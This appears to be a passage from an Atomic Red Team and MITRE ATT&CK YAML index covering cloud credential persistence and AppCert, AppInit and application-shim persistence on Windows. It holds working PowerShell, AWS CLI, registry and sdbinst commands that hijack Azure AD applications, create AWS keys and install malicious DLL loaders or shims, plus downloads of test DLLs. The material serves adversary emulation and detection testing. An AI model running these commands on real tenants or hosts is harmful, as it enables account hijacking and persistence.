        Adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)

        In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)
      id: attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-03-08T10:33:01.582Z'
      created: '2020-01-19T16:10:15.008Z'
      x_mitre_contributors:
      - Expel
      - Oleg Kolesnikov, Securonix
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_version: '2.2'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.

        Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      - 'Active Directory: Active Directory Object Modification'
      x_mitre_platforms:
      - IaaS
      - Azure AD
      identifier: T1098.001
    atomic_tests:
    - name: Azure AD Application Hijacking - Service Principal
      auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406
      description: |
        Add a certificate to an Application through its Service Principal.
        The certificate can then be used to authenticate as the application and benefit from its rights.
        An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: String
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: String
          default: p4sswd
        service_principal_name:
          description: Name of the targeted service principal
          type: String
          default: SuperSP
        certificate_password:
          description: Password of the new certificate
          type: String
          default: Passw0rd
        path_to_cert:
          description: Path of the new certificate, locally stored
          type: String
          default: "$env:TEMP"
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

'
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

'
        get_prereq_command: 'Install-Module -Name AzureAD -Force

'
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $sp = Get-AzureADServicePrincipal -Searchstring "#{service_principal_name}"
          if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
          # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
          $certNotAfter = (Get-Date).AddDays(2)
          $credNotAfter = (Get-Date).AddDays(1)
          $thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
          $pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
          Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{service_principal_name}.pfx" -Password $pwd

          $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{service_principal_name}.pfx", $pwd)
          $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())

          New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

          Start-Sleep -s 30
          $tenant=Get-AzureADTenantDetail
          $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $thumb
          Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
          Write-Host "End of Hijacking"
        cleanup_command: "try {\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord
          = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction
          Ignore\n\n$sp = Get-AzureADServicePrincipal -Searchstring \"#{service_principal_name}\"\n$credz
          = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId\nforeach
          ($cred in $credz) {\n  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier)
          -eq \"AtomicTest\") {\n    Remove-AzureADServicePrincipalKeyCredential -ObjectId
          $sp.ObjectId -KeyId $cred.KeyId\n  }  \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My
          | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\nrm \"#{path_to_cert}\\#{service_principal_name}.pfx\"\n}
          catch {}\n"
        name: powershell
        elevation_required: false
    - name: Azure AD Application Hijacking - App Registration
      auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a
      description: |
        Add a certificate to an Application through its App Registration.
        The certificate can then be used to authenticate as the application and benefit from its rights.
        An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: String
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: String
          default: p4sswd
        application_name:
          description: Name of the targeted application
          type: String
          default: SuperApp
        certificate_password:
          description: Password of the new certificate
          type: String
          default: Passw0rd
        path_to_cert:
          description: Path of the new certificate, locally stored
          type: String
          default: "$env:TEMP"
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

'
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

'
        get_prereq_command: 'Install-Module -Name AzureAD -Force

'
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $app = Get-AzureADApplication -Searchstring "#{application_name}"
          if ($app -eq $null) { Write-Warning "Application not found"; exit }
          $certNotAfter = (Get-Date).AddDays(2)
          $credNotAfter = (Get-Date).AddDays(1)
          $thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
          $pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
          Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{application_name}.pfx" -Password $pwd

          $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{application_name}.pfx", $pwd)
          $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())

          New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

          Start-Sleep -s 30
          $tenant=Get-AzureADTenantDetail
          $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $thumb
          Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
          Write-Host "End of Hijacking"
        cleanup_command: "try {\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord
          = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction
          Ignore\n\n$app = Get-AzureADApplication -Searchstring \"#{application_name}\"\n$credz
          = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId\nforeach ($cred
          in $credz) {\n  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier)
          -eq \"AtomicTest\") {\n    Remove-AzureADApplicationKeyCredential -ObjectId
          $app.ObjectId -KeyId $cred.KeyId\n  }  \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My
          | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\nrm \"#{path_to_cert}\\#{application_name}.pfx\"\n}
          catch {}\n"
        name: powershell
        elevation_required: false
    - name: AWS - Create Access Key and Secret Key
      auto_generated_guid: 8822c3b0-d9f9-4daf-a043-491160a31122
      description: 'Adversaries create their own new access and secret keys to programatically
        interact with AWS environment, which is already compromised

'
      supported_platforms:
      - iaas:aws
      input_arguments:
        username:
          description: Create new AWS access and secret keys for the user
          type: String
          default: atomicredteam
      dependencies:
      - description: 'Check if the user exists.

'
        prereq_command: 'aws iam list-users | grep #{username}

'
        get_prereq_command: 'echo Please run atomic test T1136.003, before running
          this atomic

'
      executor:
        command: |
          aws iam create-access-key --user-name #{username} > $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds
          cd $PathToAtomicsFolder/T1098.001/bin/
          ./aws_secret.sh
        cleanup_command: |
          access_key=`cat $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds| jq -r '.AccessKey.AccessKeyId'`
          aws iam delete-access-key --access-key-id $access_key --user-name #{username}
          rm $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds
        name: sh
  T1546.009:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.009
        url: https://attack.mitre.org/techniques/T1546/009
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      - url: https://forum.sysinternals.com/appcertdlls_topic12546.html
        description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls.
          Retrieved December 18, 2017.
        source_name: Sysinternals AppCertDlls Oct 2007
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: AppCert DLLs
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by AppCert DLLs loaded into processes.
        Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code>
        Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session
        Manager\\</code> are loaded into every process that calls the ubiquitously
        used application programming interface (API) functions <code>CreateProcess</code>,
        <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>,
        or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\n\nSimilar
        to [Process Injection](https://attack.mitre.org/techniques/T1055), this value
        can be abused to obtain elevated privileges by causing a malicious DLL to
        be loaded and run in the context of separate processes on the computer. Malicious
        AppCert DLLs may also provide persistence by continuously being triggered
        by API activity. "
      id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-11-10T18:29:31.052Z'
      created: '2020-01-24T14:47:41.795Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: "Monitor DLL loads by processes, specifically looking for
        DLLs that are not recognized or not normally loaded into a process. Monitor
        the AppCertDLLs Registry value for modifications that do not correlate with
        known software, patch cycles, etc. Monitor and analyze application programming
        interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
        and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools
        such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting
        location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls
        Oct 2007)\n\nLook for abnormal process behavior that may be due to a process
        loading a malicious DLL. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as making network connections for Command and Control, learning details about
        the environment through Discovery, and conducting Lateral Movement."
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1546.010:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.010
        url: https://attack.mitre.org/techniques/T1546/010
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://support.microsoft.com/en-us/kb/197571
        description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
          value. Retrieved July 15, 2015.
        source_name: AppInit Registry
      - url: https://msdn.microsoft.com/en-us/library/dn280412
        description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
          15, 2015.
        source_name: AppInit Secure Boot
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: AppInit DLLs
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by AppInit DLLs loaded into processes.
        Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code>
        value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows
        NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process
        that loads user32.dll. In practice this is nearly every program, since user32.dll
        is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar
        to Process Injection, these values can be abused to obtain elevated privileges
        by causing a malicious DLL to be loaded and run in the context of separate
        processes on the computer. (Citation: AppInit Registry) Malicious AppInit
        DLLs may also provide persistence by continuously being triggered by API activity.
        \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions
        when secure boot is enabled. (Citation: AppInit Secure Boot)"
      id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-11-10T18:29:31.076Z'
      created: '2020-01-24T14:52:25.589Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Secure boot disabled on systems running Windows 8 and later
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and
        look for DLLs that are not recognized or not normally loaded into a process.
        Monitor the AppInit_DLLs Registry values for modifications that do not correlate
        with known software, patch cycles, etc. Monitor and analyze application programming
        interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code>
        and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July
        2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system
        changes that could be attempts at persistence, including listing current AppInit
        DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior
        that may be due to a process loading a malicious DLL. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as making network connections for Command and
        Control, learning details about the environment through Discovery, and conducting
        Lateral Movement."
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_platforms:
      - Windows
      identifier: T1546.010
    atomic_tests:
    - name: Install AppInit Shim
      auto_generated_guid: a58d9386-3080-4242-ab5f-454c16503d18
      description: "AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs
        to be loaded into each user mode process on the system. Upon succesfully execution,
        \nyou will see the message \"The operation completed successfully.\" Each
        time the DLL is loaded, you will see a message box with a message of \"Install
        AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your
        computer starts up various applications and may in fact drive you crazy. A
        reliable way to make the message box appear and verify the \nAppInit Dlls
        are loading is to start the notepad application. Be sure to run the cleanup
        commands afterwards so you don't keep getting message boxes showing up.\n\nNote:
        If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n"
      supported_platforms:
      - windows
      input_arguments:
        registry_file:
          description: Windows Registry File
          type: Path
          default: PathToAtomicsFolder\T1546.010\src\T1546.010.reg
        registry_cleanup_file:
          description: Windows Registry File
          type: Path
          default: PathToAtomicsFolder\T1546.010\src\T1546.010-cleanup.reg
      dependency_executor_name: powershell
      dependencies:
      - description: 'Reg files must exist on disk at specified locations (#{registry_file}
          and #{registry_cleanup_file})

'
        prereq_command: 'if ((Test-Path #{registry_file}) -and (Test-Path #{registry_cleanup_file}))
          {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory (split-path #{registry_file}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg" -OutFile "#{registry_file}"
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg" -OutFile "#{registry_cleanup_file}"
      - description: 'DLL''s must exist in the C:\Tools directory (T1546.010.dll and
          T1546.010x86.dll)

'
        prereq_command: 'if ((Test-Path c:\Tools\T1546.010.dll) -and (Test-Path c:\Tools\T1546.010x86.dll))
          {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory C:\Tools -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll" -OutFile C:\Tools\T1546.010.dll
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll" -OutFile C:\Tools\T1546.010x86.dll
      executor:
        command: 'reg.exe import #{registry_file}

'
        cleanup_command: 'reg.exe import #{registry_cleanup_file} >nul 2>&1

'
        name: command_prompt
        elevation_required: true
  T1546.011:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.011
        url: https://attack.mitre.org/techniques/T1546/011
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - source_name: FireEye Application Shimming
        url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
        description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved
          May 4, 2020.
      - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
        description: Pierce, Sean. (2015, November). Defending Against Malicious Application
          Compatibility Shims. Retrieved June 22, 2017.
        source_name: Black Hat 2015 App Shim
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Application Shimming
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by application shims. The Microsoft
        Windows Application Compatibility Infrastructure/Framework (Application Shim)
        was created to allow for backward compatibility of software as the operating
        system codebase changes over time. For example, the application shimming feature
        allows developers to apply fixes to applications (without rewriting code)
        that were created for Windows XP so that it will work with Windows 10. (Citation:
        Elastic Process Injection July 2017)\n\nWithin the framework, shims are created
        to act as a buffer between the program (or more specifically, the Import Address
        Table) and the Windows OS. When a program is executed, the shim cache is referenced
        to determine if the program requires the use of the shim database (.sdb).
        If so, the shim database uses hooking to redirect the code as necessary in
        order to communicate with the OS. \n\nA list of all shims currently installed
        by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>
        and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom
        databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>
        and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo
        keep shims secure, Windows designed them to run in user mode so they cannot
        modify the kernel and you must have administrator privileges to install a
        shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)
        (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data
        Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH),
        and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims
        may allow an adversary to perform several malicious acts such as elevate privileges,
        install backdoors, disable defenses like Windows Defender, etc. (Citation:
        FireEye Application Shimming) Shims can also be abused to establish persistence
        by continuously being invoked by affected programs."
      id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-11-10T18:29:31.094Z'
      created: '2020-01-24T14:56:24.231Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):

        * Shim-Process-Scanner - checks memory of every running process for any shim flags
        * Shim-Detector-Lite - detects installation of custom shim databases
        * Shim-Guard - monitors registry for any shim installations
        * ShimScanner - forensic tool to find active shims in memory
        * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)

        Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'File: File Modification'
      x_mitre_platforms:
      - Windows
      identifier: T1546.011
    atomic_tests:
    - name: Application Shim Installation
      auto_generated_guid: 9ab27e22-ee62-4211-962b-d36d9a0e6a18
      description: "Install a shim database. This technique is used for privilege
        escalation and bypassing user access control.\nUpon execution, \"Installation
        of AtomicShim complete.\" will be displayed. To verify the shim behavior,
        run \nthe AtomicTest.exe from the <PathToAtomicsFolder>\\\\T1546.011\\\\bin
        directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\"
        as defined in the AtomicTest.dll. To better understand what is happening,
        review\nthe source code files is the <PathToAtomicsFolder>\\\\T1546.011\\\\src
        directory.\n"
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the shim database file
          type: String
          default: PathToAtomicsFolder\T1546.011\bin\AtomicShimx86.sdb
      dependency_executor_name: powershell
      dependencies:
      - description: 'Shim database file must exist on disk at specified location
          (#{file_path})

'
        prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory (split-path #{file_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb" -OutFile "#{file_path}"
      - description: 'AtomicTest.dll must exist at c:\Tools\AtomicTest.dll

'
        prereq_command: 'if (Test-Path c:\Tools\AtomicTest.dll) {exit 0} else {exit
          1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path c:\Tools\AtomicTest.dll) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll" -OutFile c:\Tools\AtomicTest.dll
      executor:
        command: 'sdbinst.exe #{file_path}

'
        cleanup_command: 'sdbinst.exe -u #{file_path} >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: New shim database files created in the default shim database directory
      auto_generated_guid: aefd6866-d753-431f-a7a4-215ca7e3f13d
      description: |
        Upon execution, check the "C:\Windows\apppatch\Custom\" folder for the new shim database

        https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb
          Copy-Item $PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb
        cleanup_command: |
          Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore
          Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Registry key creation and/or modification events for SDB
      auto_generated_guid: 9b6a06f9-ab5e-4e8d-8289-1df4289db02f
      description: |
        Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing
        the registry keys that were created. These keys can also be viewed using the Registry Editor.

        https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
      supported_platforms:
      - windows
      executor:
        command: |
          New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
          New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
        cleanup_command: |
          Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
          Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1053.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.001
        url: https://attack.mitre.org/techniques/T1053/001
      - source_name: Kifarunix - Task Scheduling in Linux
        url: https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
        description: Koromicha. (2019, September 7). Scheduling tasks using at command
          in Linux. Retrieved December 3, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: At (Linux)
      description: |-
        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)

        An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
      id: attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-23T22:35:13.112Z'
      created: '2019-12-03T12:59:36.749Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: true
      x_mitre_detection: "Monitor scheduled task creation using command-line invocation.
        Legitimate scheduled tasks may be created during installation of new software
        or through system administration functions. Look for changes to tasks that
        do not correlate with known software, patch cycles, etc. \n\nSuspicious program
        execution through scheduled tasks may show up as outlier processes that have
        not been seen before when compared against historical data. Data and events
        should not be viewed in isolation, but as part of a chain of behavior that
        could lead to other activities, such as network connections made for Command
        and Control, learning details about the environment through Discovery, and
        Lateral Movement."
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
